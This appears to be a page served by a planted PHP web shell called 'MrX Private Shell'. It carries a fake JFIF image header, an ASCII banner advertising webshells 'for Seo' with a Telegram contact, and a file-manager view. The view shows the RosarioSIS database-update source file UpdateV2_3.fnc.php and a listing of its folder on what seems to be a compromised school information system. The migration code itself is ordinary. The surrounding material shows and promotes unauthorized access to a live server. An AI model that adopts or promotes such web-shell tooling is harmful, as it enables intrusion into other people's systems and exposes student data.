����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Update functions for versions 2 to 3
*
* Incremental updates
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Update to version 2.9-alpha
*
* 1. Add VERSION to config table
* 2. Add STUDENTS_EMAIL_FIELD to config table.
* 3. Add course_period_school_periods_id column to course_period_school_periods table PRIMARY KEY
* 4. Update student_mp_comments table
* 5. Create school_fields_seq Sequence
* 6. Add student_assignments table & SUBMISSION column to gradebook_assignments table
*
* Local function
*
* @since 2.9
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update29alpha()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add VERSION to config table.
*/
$version_added = DBGet( "SELECT 1 FROM config WHERE TITLE='VERSION'" );
if ( ! $version_added )
{
DBQuery( "INSERT INTO config VALUES (0, 'VERSION', '2.9-alpha');" );
}
/**
* 2. Add STUDENTS_EMAIL_FIELD to config table.
*/
$students_email_field_added = DBGet( "SELECT 1 FROM config WHERE TITLE='STUDENTS_EMAIL_FIELD'" );
if ( ! $students_email_field_added )
{
DBQuery( "INSERT INTO config VALUES (0, 'STUDENTS_EMAIL_FIELD', NULL);" );
}
/**
* 3. Add course_period_school_periods_id column to course_period_school_periods table PRIMARY KEY
*
* DROP PRIMARY KEY
* And ADD it again with course_period_school_periods_id
*/
$SQL_add_ID = 'ALTER TABLE ONLY course_period_school_periods
DROP CONSTRAINT course_period_school_periods_pkey;
ALTER TABLE ONLY course_period_school_periods
ADD CONSTRAINT course_period_school_periods_pkey
PRIMARY KEY (course_period_school_periods_id, course_period_id, period_id);';
DBQuery( $SQL_add_ID );
/**
* 4. Update student_mp_comments table
*
* WARNING: no Downgrade possible!
*
* Serialize comments from:
* [date1]|[staff_id1]||[comment1]||[date1]|[staff_id1]||[comment1]
*
* to array of comments:
* array(
* 'date' => 'date1',
* 'staff_id' => 'staff_id1',
* 'comment' => 'comment1',
* )
*/
$comments_RET = DBGet( "SELECT SYEAR, MARKING_PERIOD_ID, STUDENT_ID, COMMENT
FROM student_mp_comments
WHERE COMMENT IS NOT NULL
AND COMMENT!=''" );
if ( is_array( $comments_RET )
&& ! unserialize( $comments_RET[0]['COMMENT'] ) )
{
$ser_comments = [];
$SQL_updt_coms = '';
foreach ( $comments_RET as $comment )
{
$coms = explode( '||', $comment['COMMENT'] );
$ser_coms = [];
$i = 0;
foreach ( $coms as $com )
{
if ( is_array( list( $date, $staff_id ) = explode( '|', $com ) )
&& (int) $staff_id > 0 )
{
$ser_coms[ $i ]['date'] = $date;
$ser_coms[ $i ]['staff_id'] = $staff_id;
}
else
{
$ser_coms[ $i ]['comment'] = $com;
$i++;
}
}
$ser_coms = DBEscapeString( serialize( array_reverse( $ser_coms ) ) );
$SQL_updt_coms .= "UPDATE student_mp_comments
SET COMMENT='" . $ser_coms . "'
WHERE SYEAR='" . $comment['SYEAR'] . "'
AND MARKING_PERIOD_ID='" . $comment['MARKING_PERIOD_ID'] . "'
AND STUDENT_ID='" . $comment['STUDENT_ID'] . "';";
}
if ( $SQL_updt_coms )
{
DBGet( $SQL_updt_coms );
}
}
else
$return = false;
// 5. Create school_fields_seq Sequence.
$sequence_exists = DBGet( "SELECT 1 FROM pg_class
WHERE relname = 'school_fields_seq'" );
if ( ! $sequence_exists )
{
DBQuery( "CREATE SEQUENCE school_fields_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
SELECT pg_catalog.setval('school_fields_seq', 99, true);" );
}
/**
* 6. Add student_assignments table (& its composite primary key)
* & add SUBMISSION column to gradebook_assignments table
* & add StudentAssignments.php to profile_exceptions table.
*/
DBQuery( "CREATE TABLE IF NOT EXISTS student_assignments (
assignment_id numeric NOT NULL,
student_id numeric NOT NULL,
data text
);");
$sa_constraint_exists = DBGet( "SELECT 1
FROM information_schema.constraint_column_usage
WHERE table_name = 'student_assignments'
AND constraint_name = 'student_assignments_pkey'" );
if ( ! $sa_constraint_exists )
{
DBQuery( "ALTER TABLE ONLY student_assignments
ADD CONSTRAINT student_assignments_pkey PRIMARY KEY (assignment_id, student_id);" );
}
$submission_column_exists = DBGet( "SELECT 1 FROM pg_attribute
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = 'gradebook_assignments')
AND attname = 'submission';" );
if ( ! $submission_column_exists )
{
DBQuery( "ALTER TABLE ONLY gradebook_assignments
ADD COLUMN submission character varying(1);" );
}
$sa_exceptions_exists = DBGet( "SELECT 1
FROM profile_exceptions
WHERE profile_id IN (0,3)
AND modname='Grades/StudentAssignments.php'" );
if ( ! $sa_exceptions_exists )
{
DBQuery( "INSERT INTO profile_exceptions VALUES (0, 'Grades/StudentAssignments.php', 'Y', NULL);
INSERT INTO profile_exceptions VALUES (3, 'Grades/StudentAssignments.php', 'Y', NULL);" );
}
return $return;
}
/**
* Update to version 2.9.2
*
* 1. Add GP_PASSING_VALUE to report_card_grade_scales table
*
* Local function
*
* @since 2.9.2
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update292()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add GP_PASSING_VALUE to report_card_grade_scales table
* & Set minimum passing grade to '0' for already present scales.
*/
$gppassingvalue_column_exists = DBGet( "SELECT 1 FROM pg_attribute
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = 'report_card_grade_scales')
AND attname = 'gp_passing_value';" );
if ( ! $gppassingvalue_column_exists )
{
DBQuery( "ALTER TABLE ONLY report_card_grade_scales
ADD COLUMN gp_passing_value numeric(10,3);
UPDATE report_card_grade_scales
SET gp_passing_value=0;" );
}
return $return;
}
/**
* Update to version 2.9.5
*
* 1. Add LIMIT_EXISTING_CONTACTS_ADDRESSES to config table.
*
* Local function
*
* @since 2.9.5
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update295()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add LIMIT_EXISTING_CONTACTS_ADDRESSES to config table.
*/
$limit_existing_contacts_addresses_field_added = DBGet( "SELECT 1 FROM config
WHERE TITLE='LIMIT_EXISTING_CONTACTS_ADDRESSES'" );
if ( ! $limit_existing_contacts_addresses_field_added )
{
DBQuery( "INSERT INTO config VALUES (0, 'LIMIT_EXISTING_CONTACTS_ADDRESSES', NULL);" );
}
return $return;
}
/**
* Update to version 2.9.12
*
* 1. Add THEME_FORCE to config table.
*
* Local function
*
* @since 2.9.12
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update2912()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add THEME_FORCE to config table.
*/
$theme_force_field_added = DBGet( "SELECT 1 FROM config
WHERE TITLE='THEME_FORCE'" );
if ( ! $theme_force_field_added )
{
DBQuery( "INSERT INTO config VALUES (0, 'THEME_FORCE', NULL);" );
}
return $return;
}
/**
* Update to version 2.9.13
*
* Admin Schools restriction.
* 1. Add Users/User.php&category_id=1&schools to profile_exceptions table.
* 2. Add Users/User.php&category_id=1&schools to staff_exceptions table.
*
* Local function
*
* @since 2.9.13
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update2913()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add Users/User.php&category_id=1&schools to profile_exceptions table.
*/
$admin_profiles_RET = DBGet( "SELECT id
FROM profile_exceptions, user_profiles
WHERE profile='admin'" );
foreach ( (array) $admin_profiles_RET as $admin_profile )
{
$profile_id = $admin_profile['ID'];
$as_profile_exceptions_exists = DBGet( "SELECT 1
FROM profile_exceptions
WHERE profile_id='" . $profile_id . "'
AND modname='Users/User.php&category_id=1&schools'" );
if ( ! $as_profile_exceptions_exists )
{
DBQuery( "INSERT INTO profile_exceptions
VALUES ('" . $profile_id . "', 'Users/User.php&category_id=1&schools', 'Y', 'Y');" );
}
}
/**
* 2. Add Users/User.php&category_id=1&schools to staff_exceptions table.
*/
$as_staff_exceptions_exists = DBGet( "SELECT 1
FROM staff_exceptions
WHERE modname='Users/User.php&category_id=1&schools'" );
// Check if we have staff_exceptions.
$staff_exceptions_user_ids = DBGet( "SELECT user_id
FROM staff_exceptions
WHERE modname='Users/User.php&category_id=1'" );
if ( ! $as_staff_exceptions_exists
&& $staff_exceptions_user_ids )
{
foreach ( (array) $staff_exceptions_user_ids as $user_id )
{
DBQuery( "INSERT INTO staff_exceptions
VALUES ('" . $user_id['USER_ID'] . "', 'Users/User.php&category_id=1&schools', 'Y', 'Y');" );
}
}
return $return;
}
/**
* Update to version 2.9.14
*
* Add School Field types.
* 1. Add SELECT_OPTIONS column to school_fields table.
* Admin User Profile restriction.
* 2. Add Users/User.php&category_id=1&user_profile to profile_exceptions table.
* 3. Add Users/User.php&category_id=1&user_profile to staff_exceptions table.
*
* Local function
*
* @since 2.9.14
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update2914()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add SELECT_OPTIONS column to school_fields table.
*/
$select_options_column_exists = DBGet( "SELECT 1 FROM pg_attribute
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = 'school_fields')
AND attname = 'select_options';" );
if ( ! $select_options_column_exists )
{
DBQuery( "ALTER TABLE ONLY school_fields
ADD COLUMN select_options character varying(10000);" );
}
/**
* 2. Add Users/User.php&category_id=1&user_profile to profile_exceptions table.
*/
$admin_profiles_RET = DBGet( "SELECT id
FROM user_profiles
WHERE profile='admin'" );
foreach ( (array) $admin_profiles_RET as $admin_profile )
{
$profile_id = $admin_profile['ID'];
$up_profile_exceptions_exists = DBGet( "SELECT 1
FROM profile_exceptions
WHERE profile_id='" . $profile_id . "'
AND modname='Users/User.php&category_id=1&user_profile'" );
if ( ! $up_profile_exceptions_exists )
{
DBQuery( "INSERT INTO profile_exceptions
VALUES ('" . $profile_id . "', 'Users/User.php&category_id=1&user_profile', 'Y', 'Y');" );
}
}
/**
* 3. Add Users/User.php&category_id=1&user_profile to staff_exceptions table.
*/
$up_staff_exceptions_exists = DBGet( "SELECT 1
FROM staff_exceptions
WHERE modname='Users/User.php&category_id=1&user_profile'" );
// Check if we have staff_exceptions.
$staff_exceptions_user_ids = DBGet( "SELECT user_id
FROM staff_exceptions
WHERE modname='Users/User.php&category_id=1'" );
if ( ! $up_staff_exceptions_exists
&& $staff_exceptions_user_ids )
{
foreach ( (array) $staff_exceptions_user_ids as $user_id )
{
DBQuery( "INSERT INTO staff_exceptions
VALUES ('" . $user_id['USER_ID'] . "', 'Users/User.php&category_id=1&user_profile', 'Y', 'Y');" );
}
}
return $return;
}
/**
* Update to version 3.0
*
* Add Access Log.
* 1. Add access_log table.
* Will not grant access to the program to Admins.
* Go to Users > User Profiles for that.
*
* Local function
*
* @since 3.0
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update30()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add access_log table.
*/
$access_log_table_exists = DBGet( "SELECT 1
FROM pg_catalog.pg_tables
WHERE tablename = 'access_log'" );
if ( ! $access_log_table_exists )
{
DBQuery( "CREATE TABLE access_log (
syear numeric(4,0),
username character varying(100),
profile character varying(30),
login_time timestamp(0) without time zone,
ip_address character varying(50),
user_agent text,
status character varying(50)
);" );
} else {
// Add user_agent column.
$user_agent_column_exists = DBGet( "SELECT 1 FROM pg_attribute
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = 'access_log')
AND attname = 'user_agent';" );
if ( ! $user_agent_column_exists )
{
DBQuery( "ALTER TABLE ONLY access_log
ADD COLUMN user_agent text;" );
}
}
return $return;
}
/**
* Update to version 3.1
*
* Fix SQL error when entering (Unweighted) GPA Value > 99.99
* 1. report_card_grades table:
* Change gpa_value & unweighted_gp columns type to numeric
*
* 2. report_card_grade_scales table:
* Change hhr_gpa_value & hr_gpa_value & hrs_gpa_value columns type to numeric
* Was numeric(4,2) which would prevent to enter values like 100 (or above).
*
* Add Mass Create Assignments program.
* 3. Add Grades/MassCreateAssignments.php to profile_exceptions table.
*
* Local function
*
* @since 3.1
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update31()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. report_card_grades table:
* Change gpa_value & unweighted_gp columns type to numeric
* Was numeric(4,2) which would prevent to enter values like 100.
*/
DBQuery( "ALTER TABLE report_card_grades
ALTER COLUMN gpa_value TYPE numeric;" );
DBQuery( "ALTER TABLE report_card_grades
ALTER COLUMN unweighted_gp TYPE numeric;" );
/**
* 2. report_card_grade_scales table:
* Change hhr_gpa_value & hr_gpa_value & hrs_gpa_value columns type to numeric
* Was numeric(4,2) which would prevent to enter values like 100 (or above).
*/
DBQuery( "ALTER TABLE report_card_grade_scales
ALTER COLUMN hhr_gpa_value TYPE numeric;" );
DBQuery( "ALTER TABLE report_card_grade_scales
ALTER COLUMN hr_gpa_value TYPE numeric;" );
DBQuery( "ALTER TABLE report_card_grade_scales
ALTER COLUMN hrs_gpa_value TYPE numeric;" );
/**
* 3. Add Grades/MassCreateAssignments.php to profile_exceptions table.
*/
$admin_profiles_RET = DBGet( "SELECT id
FROM user_profiles
WHERE profile='admin'" );
foreach ( (array) $admin_profiles_RET as $admin_profile )
{
$profile_id = $admin_profile['ID'];
$mca_profile_exceptions_exists = DBGet( "SELECT 1
FROM profile_exceptions
WHERE profile_id='" . $profile_id . "'
AND modname='Grades/MassCreateAssignments.php'" );
if ( ! $mca_profile_exceptions_exists )
{
DBQuery( "INSERT INTO profile_exceptions
VALUES ('" . $profile_id . "', 'Grades/MassCreateAssignments.php', 'Y', 'Y');" );
}
}
return $return;
}
/**
* Update to version 3.5
*
* 1. Add FAILED_LOGIN_LIMIT to config table
*
* Local function
*
* @since 3.5
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update35()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add FAILED_LOGIN_LIMIT to config table.
*/
$failed_login_limit_added = DBGet( "SELECT 1 FROM config
WHERE TITLE='FAILED_LOGIN_LIMIT'" );
if ( ! $failed_login_limit_added )
{
DBQuery( "INSERT INTO config VALUES (0, 'FAILED_LOGIN_LIMIT', NULL);" );
}
return $return;
}
/**
* Update to version 3.7-beta
*
* 1. Add DISPLAY_NAME to config table
*
* Local function
*
* @since 3.7
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update37beta()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add DISPLAY_NAME to config table.
*/
$display_name_added = DBGet( "SELECT 1 FROM config WHERE TITLE='DISPLAY_NAME'" );
if ( ! $display_name_added )
{
// Fix empty string to NULL using Posix escape string syntax (E + backslash).
DBQuery( "INSERT INTO config VALUES (0, 'DISPLAY_NAME', E'FIRST_NAME||coalesce(\' \'||MIDDLE_NAME||\' \',\' \')||LAST_NAME');" );
}
return $return;
}
/**
* Update to version 3.9
*
* 1. Add DISPLAY_NAME to config table for every school.
*
* Local function
*
* @since 3.9
*
* @return boolean false if update failed or if not called by Update(), else true
*/
function _update39()
{
_isCallerUpdate( debug_backtrace() );
$return = true;
/**
* 1. Add DISPLAY_NAME to config table for every school.
*/
$display_name_added = DBGet( "SELECT 1 FROM config WHERE TITLE='DISPLAY_NAME'
AND SCHOOL_ID<>0" );
if ( ! $display_name_added )
{
// Fix empty string to NULL using Posix escape string syntax (E + backslash).
DBQuery( "INSERT INTO config SELECT DISTINCT ID, 'DISPLAY_NAME', E'FIRST_NAME||coalesce(\' \'||MIDDLE_NAME||\' \',\' \')||LAST_NAME' FROM schools;" );
}
return $return;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|